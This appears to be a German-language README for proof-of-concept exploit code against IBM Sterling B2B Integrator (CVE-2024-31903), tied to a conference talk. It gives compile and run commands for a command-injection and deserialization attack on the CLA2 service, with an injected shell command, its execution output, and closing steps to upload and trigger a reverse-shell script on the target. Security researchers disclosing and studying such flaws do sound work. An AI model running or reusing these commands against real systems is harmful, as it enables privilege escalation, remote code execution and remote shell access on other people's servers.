
PoC-Code für die LPE- und RCE-Angriffe (CVE-2024-31903) gegen den IBM Sterling B2B Integrator
Proof of Concept-Code für die Ausnutzung der Schwachstellen, die in IBM Sterling B2B Integrator, Versionen 6.2.0.0 bis 6.2.0.2 und 6.0.0.0 bis 6.1.2.5 für Linux, Windows und AIX-Systeme entdeckt wurden:
Weitere Details zu diesen Problemen finden Sie in meinem DistricCon-Vortrag „To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication“:
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
Der größte Teil dieses Codes in diesem Repo bezieht sich auf den LPE-Befehlseinschleusungsangriff.
Der Python-Binärclient bin_client.py kann verwendet werden, um manuell Nachrichten an CLA2 zu senden, was die Ausnutzung der Deserialisierungs-RCE-Schwachstelle ermöglicht.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
Der PoC akzeptiert zwei Parameter:
bin_client.py zu senden, oder die Zeichenfolge „SEND", um sie sofort an host:port zu senden, wo ein CLA2-Client zuhörtDer in diesem Repository enthaltene Quellcode ist bewusst unvollständig, da bestimmte Klassen aus dem CLA2-Subsystem benötigt werden. Abhängig von den Dateisystemberechtigungen des Installationsverzeichnisses können Sie möglicherweise auf die JAR-Dateien zugreifen
Angenommen, Sie haben die relevanten Dateien aus der JAR-Dekompilierung abgerufen. Sie werden hier nicht hochgeladen, da sie IBM-IP darstellen
Dekompilieren Sie CLA2Client.jar
Suchen Sie im dekompilierten Code die Dateien CmdLine2Result.java und CmdLine2Parms.java
Kopieren und fügen Sie sie neben Main.java ein, um die Verzeichnisstruktur des ursprünglichen Java-Pakets der Anwendung zu replizieren
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py und revshell_listener.py auf das Zielsystem hoch und starten Sie den Listener. Ersetzen Sie dann den Befehls-Parameter des PoC durch einen Aufruf des Reverse-Shell-Skripts wie unten:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND